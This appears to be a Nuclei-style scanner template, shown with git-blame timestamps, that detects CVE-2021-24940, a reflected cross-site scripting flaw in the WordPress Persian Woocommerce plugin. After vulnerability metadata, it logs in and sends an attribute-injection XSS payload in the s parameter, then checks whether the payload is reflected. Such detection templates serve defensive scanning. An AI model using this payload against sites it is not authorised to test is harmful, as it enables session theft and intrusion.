2022-10-03 15:03:31 +00:00
id : CVE-2021-24940
info :
2022-10-19 21:11:27 +00:00
name : WordPress Persian Woocommerce <=5.8.0 - Cross-Site Scripting
2022-10-03 15:03:31 +00:00
author : daffainfo
severity : medium
2022-10-05 15:12:55 +00:00
description : |
2022-10-19 21:11:27 +00:00
WordPress Persian Woocommerce plugin through 5.8.0 contains a cross-site scripting vulnerability. The plugin does not escape the s parameter before outputting it back in an attribute in the admin dashboard. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site and possibly steal cookie-based authentication credentials and launch other attacks.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
2023-09-06 12:09:01 +00:00
remediation : Fixed in 5.9.8.
2022-10-05 15:12:55 +00:00
reference :
- https://wpscan.com/vulnerability/1980c5ca-447d-4875-b542-9212cc7ff77f
- https://nvd.nist.gov/vuln/detail/CVE-2021-24940
2024-01-29 17:11:14 +00:00
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
2022-10-05 15:12:55 +00:00
classification :
2022-10-14 14:41:28 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
2022-10-05 15:12:55 +00:00
cve-id : CVE-2021-24940
2022-10-14 14:41:28 +00:00
cwe-id : CWE-79
2023-10-14 11:27:55 +00:00
epss-score : 0.00106
2024-05-31 19:23:20 +00:00
epss-percentile : 0.43227
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:woocommerce:persian-woocommerce:*:*:*:*:*:wordpress:*:*
2022-10-03 15:03:31 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 12:09:01 +00:00
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : woocommerce
product : persian-woocommerce
2023-09-06 12:09:01 +00:00
framework : wordpress
2024-01-14 09:21:50 +00:00
tags : cve2021,cve,wp,xss,authenticated,wpscan,wordpress,wp-plugin,woocommerce
2022-10-03 15:03:31 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-10-03 15:03:31 +00:00
- raw :
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
2022-10-03 19:54:29 +00:00
2022-10-03 15:03:31 +00:00
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/admin.php?page=persian-wc&s=xxxxx%22+accesskey%3DX+onclick%3Dalert%281%29+test%3D%22 HTTP/1.1
Host : {{Hostname}}
matchers :
2022-10-05 15:12:55 +00:00
- type : dsl
dsl :
2023-06-19 21:10:30 +00:00
- contains(header_2, "text/html")
2022-10-05 15:12:55 +00:00
- status_code_2 == 200
- contains(body_2, 'accesskey=X onclick=alert(1) test=')
- contains(body_2, 'woocommerce_persian_translate')
2022-10-03 15:03:31 +00:00
condition : and
2024-01-30 06:46:18 +00:00
# digest: 4b0a00483046022100b7047b7f826c9feeea2a1e804ec10dee788c3f73bf6a15b7f203b50f4b63af08022100b8021e9cb1d934188fbe23f2ce21be31736eec16f8f4d29453819a12fab97e43:922c64590222798bb761d5b6d8e72950